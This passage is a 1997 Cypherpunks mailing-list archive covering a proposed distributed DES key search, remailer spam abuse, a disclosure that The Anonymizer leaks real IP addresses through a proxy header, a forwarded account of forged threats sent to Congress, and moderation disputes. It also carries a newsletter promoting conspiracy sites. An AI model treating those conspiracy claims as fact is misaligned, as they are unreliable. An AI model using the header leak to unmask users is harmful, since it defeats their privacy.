yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From ig25 at mvmap66.ciw.uni-karlsruhe.de Tue Feb 11 06:27:05 1997 From: ig25 at mvmap66.ciw.uni-karlsruhe.de (Thomas Koenig) Date: Tue, 11 Feb 1997 06:27:05 -0800 (PST) Subject: What's next? Message-ID: <199702111427.GAA19940@toad.com> Now that we appear to be at a sustainable 300 MK/sec (which I could hardly believe at first :-), is there any chance we could be attacking the 56-bit DES key next? DES is rumoured to be faster than RC5; also, there are likely to be optimized assembler versions out there already. We could also make better use of 64-bit architectures, since DES uses 64-bit blocks. However (and this is a very big however), that's still a keyspace of 7.2*10^16 keys to search. Assuming 10^9 keys/second (three times our current speed, which may be attainable with a good DES implementation) that's still a bit over two years; too long by a factor of 10 or so. Soo.... How fast are current DES implementations? People could try des.c from the ssh distribution as a starting point. How much more computing power could we bring online? Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all the other nifty 64-bit architectures? Does it make sense to use MMX or equivalent for DES? -- Thomas Koenig, Thomas.Koenig at ciw.uni-karlsruhe.de, ig25 at dkauni2.bitnet. The joy of engineering is to find a straight line on a double logarithmic diagram. From attila at primenet.com Tue Feb 11 06:27:10 1997 From: attila at primenet.com (Attila T. Hun) Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702111427.GAA19963@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970207:0339 zinc said: +i came in today to find they (university system admins) had pulled the +plug on my machine. this is all because some luser spammed usenet +using the remailer on my machine. thanks a lot. +so, the lead remailer is gone for good; it lasted almost exactly one +year. that is the universal problem. we make the remailer chains so they guarantee privacy, but we cannot filter for spam... unless it is the last mixmaster in the chain. it sounds like we need a postprocessor which can 1) contain addresses and domain numbers of known spammers; 2) log senders to obtain a usage profile (over a very short time, and that is itself encrypted) which can spot enormous expansion headers. for instance, linda thompson is accusing a cypherpunk [more like a cypherpunk hater] of faking her address on threatening material to all 100 senators plus Al Bore; interestingly, the perpetrator left enough information in the header, which was returned for addressing Al Bore incorrectly, to be able to narrow the field; and, 3) most spamming seems to follow a pattern which it should be possible to scan for. the problem, of course, being that "innocent" messages will potentially be trashed. whatever it takes, there are a finite number of sites which can host remailer traffic. for instance, I have been debating whether or not we can afford the load on our single T1 which is currently supporting 200 simultaneous ppp connections plus some high-volume commerical web pages. We are at least a year away from T3 due to lack of circuit facilities. let's figure a way to stop at least some of the abuse; you can not stop the individual abuse, but does a spammer have any rights? --attila -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMv4nxb04kQrCC2kFAQHAngP+J+JRSKLXsLcug00moPK78brGzzmSTRVI BQmHM9845OWXazbQVj6Q9+HiV5I+7wGY2INm7i6PI9ebNRptORfCTlHkmMzrwfmj Ji/WzhDkJ0eRvmDwHxBuq5unqYLe9ACtMrOCGQo+EYywNcscsXKKuMvFKAPC/Bp8 M46FHO9AphM= =NEYd -----END PGP SIGNATURE----- From roach_s at alph.swosu.edu Tue Feb 11 06:27:10 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702111427.GAA19955@toad.com> At 08:36 AM 2/7/97 -0800, Mike Duvos wrote: ... >Now that a few weeks have passed, I have decided that moderation delays >are the most annoying feature of the new experiment. I am subscribed to >the unedited list under another account, and its almost instantaneous >traffic is in great contrast to the time required for posts to trickle >through the Sandfort-Bot. ... >Messages apparently do not get moderated in the order in which they >are received. Some messages take a very long time, as other later >messages pass them by and are posted to the list. Again, I have no >explanation for this unusual behavior. Actually, I noticed that often times the posts were out of order when they got to me over about two months ago. This was probably due to my location on the mailing list heirachy, (another reason for a distributed list). I also remember there being a rather lengthy delay between my posting something to the list and it getting sent to me by toad. (I stayed at the computer reading other messages, erasing them and checking if any more had been sent. This was, is, my primary way of keeping my eudora disk from getting clogged to the point where it won't compress.) The problems that you describe aren't new to the list, mostly they are the product of a long list of subscribers. Although, manual moderation certainly adds time between posting and turnaround. From frogfarm at yakko.cs.wmich.edu Tue Feb 11 06:27:12 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Tue, 11 Feb 1997 06:27:12 -0800 (PST) Subject: ANON: anonymizer.com thru proxy server is bad news Message-ID: <199702111427.GAA19968@toad.com> >From: jmccorm at galstar.com (Josh McCormick) Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com" Date: 9 Feb 1997 19:25:46 GMT Lines: 43 Message-ID: <5dl8bq$6h3 at mercury.galstar.com> THE CLAIM: > Our "anonymizer" service allows you to surf the web without > revealing any personal information. THE PROBLEM: > If you access The Anonymizer through a proxy server, it may add a > variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter > out, revealing your true identity. THE DATA: > Below is a printout of the variables from an "anonymous" session done > through The Anonymizer when accessed through the Squid proxy server. REMOTE_HOST=darkmatter.infonex.com REMOTE_ADDR=206.170.114.24 HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!) HTTP_HOST=sol.infonex.com:8080 HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41 HTTP_PRAGMA=no-cache HTTP_PROXY_CONNECTION=Keep-Alive THE RESULT: > A CGI script could see that you were using The Anonymizer to hide > yourself, but your true IP address is revealed in the "HTTP_FORWARDED" > string. THE SUMMARY: > Beware using an anonymous browsing service if you are going through a > proxy server. Until they remove the information provided by proxy > servers, using their service isn't as anonymous as they say. THE QUOTE: > (from The Anonymizer home page) "Many people surf the web under the > illusion that their actions are private and anonymous. Unfortunately, it > isn't so." ===================================================================== == Josh McCormick Galaxy Star Systems == == jmccorm at galstar.com Providing Quality Internet Access == == Systems Administrator WWW: http://www.galstar.com/~jmccorm == ===================================================================== -- http://yakko.cs.wmich.edu/~frogfarm/ ...for the best in unapproved information "Would I had phrases that are not known, utterances that are strange, in new language that has not been used, free from repetition, not an utterance which has grown stale, which men of old have spoken." - inscribed on Egyptian tomb From jimbell at pacifier.com Tue Feb 11 06:27:16 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 11 Feb 1997 06:27:16 -0800 (PST) Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Message-ID: <199702111427.GAA19975@toad.com> I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." >Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT) >From: Slater >To: commonlaw at teleport.com >Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) >Sender: owner-commonlaw at teleport.com > > >---------- Forwarded message ---------- >Date: Mon, 10 Feb 1997 00:46:40 GMT >From: Linda Thompson >To: aen-news at aen.org >Cc: robert at iquest.net >Subject: URGENT!! SET UP IN PROGRESS!! > >This morning near 3:00 a.m., somebody sent messages to ALL the Senate and >House members, putting *MY* email name and address on them, and another set, >putting *AL'S* email name and address on them, threatening to delete all the >House and Senate files (whatever THAT means), saying: > >"All files on the Senate's computers will be deleted by our >gang of cypherpunks dedicated to the eradication of your systems." > >[The one to the House members was the same, except the word "Senate" was >"House."] > >Some of the messages had bad addresses, though, so they bounced to us, since >whoever the real sender was had put our names as the "sender," which is how >we found out about it. > >This looks like someone could be really intending to do something to the >House/Senate computers and they are obviously trying to lay it at our feet. > >Is there legislation pending somewhere that somebody needed a so-called >"terrorist threat" to get it passed ??!! > >I have a 1 meg file of the messages we got and the messages we sent out to >our service provider and to the Secret Service I would appreciate if people >would be willing to store for safe keeping. > >Can anyone make the file available for FTP? We don't have an FTP site. > >We are definitely being set up. > > > > >Kind regards, > >Linda Thompson > >******************** V *************************** > DEATH TO THE NEW WORLD ORDER >*************************************************** >Dr. Linda Thompson >Attorney at Law >Chairman, American Justice Federation >Internet: lindat at iquest.net > >**************************************************** > Remember Waco. > The Murderers are still free. >**************************************************** >Have you seen this yet? > > http://206.55.8.10/SkyWriter/WacoMuseum > > > > > Jim Bell jimbell at pacifier.com From dthorn at gte.net Tue Feb 11 06:27:19 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:27:19 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <199702111427.GAA19982@toad.com> John Young wrote: > Sandy's e-mailed several of us who've sent messages about Vulis's > ploy to put Sandy in a conflict-of-interest bind -- a well-known attack > on moderators of all kinds, not just on the net. Now you've admitted that Sandy, ever more desperate, is grasping for allies for some future attack. And you've accused Dr. Vulis of plotting against Sandy. Tsk tsk. > What's worth admiring is how Vulis has adeptly managed to get others > -- targets and witting and unwitting cohorts -- to go along with his attack, > attack, attack, by opposing or supporting it. A useful lesson. This is not the healthy kind of paranoia. > Smart dude, that Vulis, but no more so than others on the Net, say, > Tim May, and in the world who've done the same elsewhere, maybe > by even smarter dude(s) who provoked, angered, insulted, an unwitting > Vulis, or May, to attack on behalf of ... Tim May in the same breath as Dr. Vulis? I underestimated the level of desperation here. > But such deception is to be expected, along with feigned suprise and > outrage at the unfairness of opponents fighting as dirty as one's own > pure-blackhearts. Neither I nor (I'm certain) Dr. Vulis are surprised by any of this. Who were you referring to? > Sandy's not censoring cypherpunks, nor is Vulis or May or any single > person alone. As Pogo said, it's all of us, posters and lurkers and spooks, > each trying to get one's way to prevail, under guise of a high principle not > easily honored when the squeeze is on alone in a dark cell. Come on out > Sandy, it was just a drill. Well, he claims he's not censoring anymore. If you believe that, you're probably waiting for the Easter bunny. > It's probably worth saving accusations of censorship for the real thing, > after trial usage here for what is truly nasty high-stakes global info-war > gaming. Blah blah blah blah. Bottom line is this: "Moderation" is really censorship. You can go on with this "plausible denial" all you want to, but the jig is up, so to speak. They've been caught being sneaky and deceptive with people's mail. Naughty naughty. From scndsun at sprynet.com Tue Feb 11 06:27:22 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:27:22 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111427.GAA19993@toad.com> You're giong to have to find a way to get me off of your piss-ant mailing list. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From jimbell at pacifier.com Tue Feb 11 06:27:23 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 11 Feb 1997 06:27:23 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702111427.GAA19997@toad.com> At 09:44 PM 2/5/97 -0800, Sean Roach wrote: >This time I have opted for a point by point. >At 07:59 PM 2/5/97 -0800, jim bell wrote: >>1. Large numbers of potentially competent and useful people get put into >>useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. >>(Those people who still think military spending is really necessary >>obviously haven't read AP.) >This point I can not argue with, at least not directly. I do believe that >the military way is wasteful of resources. Notice, however, that "pre-AP-theory," there was never any "good" way to theorize getting rid of the military: It always appeared that OUR military was needed to protect us against THEIR military. AP fixes that problem. > However, this is one area that >has actually benefitted the lower-income bracket in that it gives them >"inexpensive" (off-chance of death) access to good training. "War is good business...Invest your son!" There's no doubt that militaries look like a good deal to at least some fraction of the population. However, as is usually true, the amount of money that could be saved if we didn't have to buy military junk would do just as well applied to other products or services. >>2. Large amounts of money are spent on military hardware, money which goes >>to fund people who would otherwise develop useful products in the >>non-government private sector. >Three things that promote technological growth, expansion, war, threat of war. >As for expansion. we really have no where else to go. As for war and threat >of war, the computer was invented during a war, atomic energy was harnessed >during war, the internet was created during threat of war. Many >advancements, though not all, come to benefit society later. For that >matter, steel was probably invented during a war as well, but I can't prove it. I think that's a somewhat distorted way to look at it. War drastically changes the economics associated with technical developments: In WWII, millions of dollars became available for development of computers due to their ability to decrypt codes. It is by no means surprising that suddenly making it 10x more affordable to buy computers (not by reducing their costs, but by raising the amount of money provided) would make computers appear to be the product of war. You may recall estimates (which are frequently re-quoted, BTW)that proposed that there would only be a market for (say) 5-10 computers in the world. That estimate is frequently cited as an example of how wrong they were, but in reality that estimate assumed pricing based on then-current costs, and they were probably accurate! It is the _subsequent_ development of transistors which made those original estimates "wrong." Nuclear power, similarly, was born in a flood of money for the same war. Expensive government installations, such as Los Alamos, NM, Hanford Washington, and Oak Ridge Tennessee were built for that purpose. Activities which would have been highly uneconomical during peacetime were suddenly worth doing. If war makes technical development happen, it is only because of how supremely wasteful it is. Useful things still get done, but they get done in a highly uneconomical fashion and _before_ they would normally be done in a non-war world. Jim Bell jimbell at pacifier.com From stewarts at ix.netcom.com Tue Feb 11 06:27:24 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 11 Feb 1997 06:27:24 -0800 (PST) Subject: Who's ahead: NSA or the private sector? Message-ID: <199702111427.GAA19998@toad.com> That's not really a meaningful question. We can write codes they can't crack. They can write codes we can't crack. The cats are out of the bag, and David Aaron can't herd them back in. In some sense, the NSA is ahead of academia, because academia publishes, so they can read everything the Good Guys have done (less six months waiting to get published in journals :-), while the NSA seldom publishes. (There are also corporations doing non-published crypto work, but not much - they also see the value of open system review. And the KGB may have been good as well, but they're not in our face, and we can write codes the Russians and French can't crack either.) The NSA has almost certainly done more work on analyzing obscure Russian cryptosystems, but who knows how much of that is just brute force. But the real problems these days are engineering, not science*, so it's probably worth spotting them a few bits of keyspace just in case. The NSA is better able to come up with a few million dollars to build custom key-cracking hardware than industry is, so we have to presume they can do at least as well as a Wiener machine for cracking DES; they're certainly better at eavesdropping on calls than we are. I don't know if we can coordinate more workstations for a distributed crack, but they _could_ issue the FedCast Secure Screen Saver for all federal PCs; the only question is how much time would it spend cracking keys and how much grepping for suspicious files :-) There may still be radical changes in factoring technology, especially as computers get faster, but I doubt they'll do more in practice than force us to use longer keys, unless someone proves P=NP in the far mythical future or proves that factoring is in or near P. The interesting questions are at the boundaries of strong crypto and weak crypto - 40 bits is a nasty joke, DES is still interesting for things that don't have too much money riding on them, Skipjack is probably strong enough for a few years unless there's a second back door next to the one with the big "Cops Only" neon sign. How strong can we make something and still get export permission? Do we care? What are the threat models for different "Key Recovery" scams, and are we willing to write deliberatlely weak code to collaborate? Are the non-RSA public key systems good enough until the patent expires? There are some boundary problems that are interesting for non-political reasons - now that every toaster and digital wristwatch has an IP address and a few KB of RAM, what kind of useful crypto will fit in them? Key distribution is still interesting - how do you make a system that's convenient enough to use and secure enough to work? And distributed cracking systems are interesting, though the main uses for them are for cracking known-weak cryptosystems. Then there's the field of secure databases, which I think has both practical potential and scientific merit - how do you mix data together without leaking the secure stuff to unauthorized users, either directly or through combining lots of non-privileged data. [*Borrowing from Matt Blaze gratefully acknowledged.] From Robalini at aol.com Tue Feb 11 06:27:26 1997 From: Robalini at aol.com (Robalini at aol.com) Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST) Subject: The Konformist Takes Care Of The Stray Dogs Message-ID: <199702111427.GAA20000@toad.com> Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini at aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. I figure this is a good time to pass info and thanks. >From Evan Soule: O.K. Here is is. I recently discovered the location of this site(s). I do not explicitly know who created it, and in this regard it is a rather mysterious site as you may also find: The Sites: http://www.freedom-server.co.uk/Essays.html http://www.freedom-server.co.uk/Contents.html http://www.freedom-server.co.uk/Glossary.html http://www.freedom-server.co.uk/index.html Robalini's Note: for a good collection of Libertarian essays, this is a good place to go. From: pentiumpower at internetx.net (pentiumpower) SURF ANONYMOUSLY --> http://www.anonymizer.com WACO-THE TRUTH-DON'T PASS THIS UP! --> http://206.55.8.10/SkyWriter/WacoMuseum TWA 800-THE TRUTH --> http://www.erols.com/igoddard/twa-fact.htm OKC/WTC-THE TRUTH --> http://www.erols.com/igoddard/facts.htm GWS & LOTS MORE-THE TRUTH --> http://www.cco.net/~trufax My page --> http://www.geocities.com/CapitolHill/3101/ Robalini's Note: All of these, are, in my book, A++ sites. >From my wacky Uncle Markie (who was a Deadhead before all the Starbuck-quaffing trendies jumped on the bandwagon), proving interest in this stuff is genetically linked: http://www.alienmap.com/ Here are two sites I haven't checked yet, but come highly recommended: haigt asbury http://www.webcom.com/haight ? http://www.mk.net/~mcf Then there is Parascope, at http://www.parascope.com. I didn't mention it before, since, on AOL, I don't access it by the web. I was a little skeptical when it started (would AOL really have a good site that bucks the waves), but they've shown they are their own bosses. For general conspiracy info and the like, it is right up there with Jonathon Vankin's and John Whalen's 50 Greatest Conspiracies of All Time site. And, last but not least: Lisa Pease www.webcom.com/lpease Yeah, I've mentioned it before, but I've gotten a few emails thanking me for mentioning her site. No surprise: I found out about it from her postings on the Alt.conspiracy.JFK newsgroup, where she shows herself to be one of the few really good writers on the web. And now, some special other thanks. First, to Claire Gilbert, Publisher of "Blazing Tattles", which originated as an investigation on the burning oil and Gulf War Syndrome. It now specializes in investigations of health related matters. She sent me a free copy, and it was good enough for me to subscribe, with articles on the benefits of the Zone Diet, the dangers of margarine, and more GWS news. You can reach "Blazing Tattles" for more info at: Claire W. Gilbert, Ph.D., Publisher, Blazing Tattles P.O. Box 1073, Half Moon Bay, CA 94019, USA Phone: 415-712-0772 Email: FAX: 415-712-8547 (call first) To Kenn Thomas at Steamshovel Press, which is a great model for any underground magazine. Issue 15 came out recently, with, among other things, a great article on the Nation of Islam's connections to neo-Nazi group, a book excerpt of Thomas and Jim Keith's book "The Octopus", a look in on other theories of the cause of AIDS, and a wonderful interview with the late great Timothy Leary. Mr. Thomas has been a great supporter of mine, and I really appreciate it. For info, email him at: skthoma at umslvma.umsl.edu Deep River Books in Santa Monica is the best little book store you will ever find. It has books the corporate store, with their gazillion book titles, won't dare touch. The owner is a real cool dude. You can reach them at (310) 451-1224, or by email or web at: dpriver at leonardo.net http://www.leonardo,net/deepriver/index.html Also, my pal (and business partner), Scott Rose. You can reach him at his vanity-plate named site at: Scott at ScottWorld.Com In the L.A. area, Scott is the premier Filemaker Database maker, bar none (though I often help him out.) Email him, or call him at (213) 954-1978 for details. (Scott, you owe me a dinner for this.) And, as many of the readers of the Konformist are libertarians, I mention the best libertarian commentator on the web, bar none: L. Neil Smith. He wrote the Lando Calrissian Star Wars book trilogy (which I'm currently reading), and his fiction is even better than his non-fiction. You can reach the guy at: boardman at blackhole.dimensional.com Special thanks to Alex Constantine and Adam Parfrey for continued correspondance and support. Feral House Press has an incredible collection of books. You can reach Adam at Feral Press at: feralhouse at aol.com Other thanks to: FAIR (Fairness and Accuracy in Media) fair at igc.apc.org The Church of the Subgenius and Grand Master Ivan Stang: i.stang at metronet.com MindNet Journal for its positive feedback and reporting on mind control and brainwashing experiments: MindNet at c2.org James Pinkerton, who proves that not all L.A. Time commentators are mindless robots: pinkerto at ix.netcom.com Robert Parry at the Consortium. I bet he's embarrassed to discover this, but his investigations into dirty deeds of the Reagan-Bush years has been quite an influence on this magazine: rparry at ix.netcom.com Douglas Rushkoff, for taking it in stride when I called him an asshole: rushkoff at interport.net Rodney Stitch, author of the top-notch expose "Defrauding America" which did all the busy work on the intelligence-mafia link to drugs and banking scandals, links which don't end in the good old USA. stitch at defraudingamerica.com And finally, though they have no product, Paul Watson and Howlin' Blue of Texas for giving me info a commie-leftist Clinton supporter like myself would never find. Thanks, dudes. I probably have forgotten a billion people. If so, sorry, I'll be doing this every now and then. Thanks, and good luck. Robert Sterling, Editor, The Konformist ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini at aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I Came Closest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825 From scndsun at sprynet.com Tue Feb 11 06:27:26 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111427.GAA19999@toad.com> You're going to have to find a way to make this junk, piss juvenile crap stop coming into my e-mail box. Period. ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From janke at unixg.ubc.ca Tue Feb 11 06:27:36 1997 From: janke at unixg.ubc.ca (janke at unixg.ubc.ca) Date: Tue, 11 Feb 1997 06:27:36 -0800 (PST) Subject: LInteger Version 0.2: A C++ MPILIB Message-ID: <199702111427.GAA20016@toad.com> -----BEGIN PGP SIGNED MESSAGE----- LInteger is a set of C++ libraries supporting multiple precision integers. Also included are libraries supporting chain hash functions and pseudo-random number generators. The core multiple precision methods are coded in i386+ assembly language for high speed. The libraries will only compile under GNU's g++ compiler, and have only been tested under the Linux and Windows NT operating systems. It is anticipated that there should not be any problems compiling under Windows '95, however, and that compiling for OS/2 will only require minor hacking, if any. Included as a sample chain hash function is an i386+ assembly implementation of the Secure Hash Algorithm (FIPS 180-1). Included as a sample pseudo-random number generator is an implementation of a pseudo-random number generator described in Section 3.1 of FIPS 186 (the Digital Signature Standard). Complete HTML documentation is provided for all public and protected methods. The package is free for both commercial and non-commercial use. Some of the improvements of this release over version 0.1 include: - Pseudo-random number generation. - Probable prime generation. - Easier constructors. - MontyRep and ResidueClass classes. - ASCII I/O in bases 1 to 36. - Overloading of fstreams operators for storage on persistent media. - Easier exponentiation. - Pentium optimizations for multiplication and squaring. - A square root function (by special request). - 8+3 filenames (by special request). - Various bug fixes and speed improvements (and some slowdowns! :) ) The package is available for download at http://www.interchg.ubc.ca/janke/linteger.html The hashes for version 0.2 are MD5: 61f027957065b88a690def3557956d34 RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 SHA0: b8e65d49ae0ae3ab26741030c8ca03137e16b493 SHA1: c46317ad7e3a9ff38092269b21513dbf68c0e3ef RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD 5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF 3LOfYCyG8Xs= =jnym -----END PGP SIGNATURE----- From scndsun at sprynet.com Tue Feb 11 06:27:39 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:27:39 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111427.GAA20018@toad.com> Return-Path: Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30]) by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593 for ; Sun, 9 Feb 1997 19:25:39 -0600 (CST) From: autoresponder at WhiteHouse.gov Received: (from uucp at localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST) Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST) Message-Id: <199702100124.UAA01520 at WhiteHouse.gov> X-AutoReplying-To: scndsun at inetnebr.com Subject: Re: message to USSA House of Representatives To: scndsun at inetnebr.com X-UIDL: f16144392bbe54c5667860b9458f5526 Thank you for writing to President Clinton via electronic mail. Since June, 1993, whitehouse.gov has received over one million messages from people across the country and around the world. Because so many of you write, the President cannot personally review each message. The mail is first read by White House Correspondence staff. Your concerns, ideas, and suggestions are carefully recorded and communicated to the President weekly with a representative sampling of the mail. We are excited about the progress of online communication as a tool to bring government and the people closer together. Your continued interest and participation are very important to that goal. Sincerely, Stephen K. Horn Director, Presidential Email The Office of Correspondence P.S. Please read on - you may find the following information useful. -- This is the only electronic message you will receive from whitehouse.gov. No other message purporting to be from the President or his staff with an address at whitehouse.gov is authentic. If you have received such a message, you have been spoofed. -- You will receive only one autoresponder message per day. -- The only personal addresses at whitehouse.gov are the following: President at whitehouse.gov Vice.President at whitehouse.gov First.Lady at whitehouse.gov Please write to Mrs. Gore and other White House staff by regular mail. The address is: The White House, Washington, D.C. 20500. -- On October 20, 1994, President Clinton and Vice President Gore opened a World Wide Web home page called "Welcome to the White House: An Interactive Citizens' Handbook" and it remains one of the more popular spots on the Web. The White House home page provides, among other things, a single point of access to all government information available electronically on the Internet. "Welcome to the White House" can be accessed at: http://www.whitehouse.gov -- White House documents and publications are available on the World Wide Web (see above) and by email. To receive instructions on retrieving documents by email, please send a message to the following address: publications at whitehouse.gov In the body of your message, type "Send Info" (without quotes); do not include other text (such as message headers or signature lines (.sig files)). The instructions will be sent to you automatically. **************************************************************** List of Clinton Administration Accomplishments (three documents compose the whole): To: publications at whitehouse.gov Message body: send file 317571 send file 317573 send file 317575 **************************************************************** -- The White House Public Access Email FAQ (Frequently Asked Questions) document is available at the following address. The FAQ, among other things, lists alternate sources of government information, i.e., the Congressional email projects. Send an email message (no text necessary) to: faq at whitehouse.gov (This FAQ address is an autoresponder only; any comment sent to this address will not be acknowledged.) ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From scndsun at sprynet.com Tue Feb 11 06:28:17 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:28:17 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111428.GAA20041@toad.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From markm at voicenet.com Tue Feb 11 06:29:22 1997 From: markm at voicenet.com (Mark M.) Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST) Subject: Email forgery Message-ID: <199702111429.GAA20054@toad.com> -----BEGIN PGP SIGNED MESSAGE----- This is a very strange forgery. It appears that the attacker used fcaglp.fcaglp.unlp.edu.ar as a relay. This machine 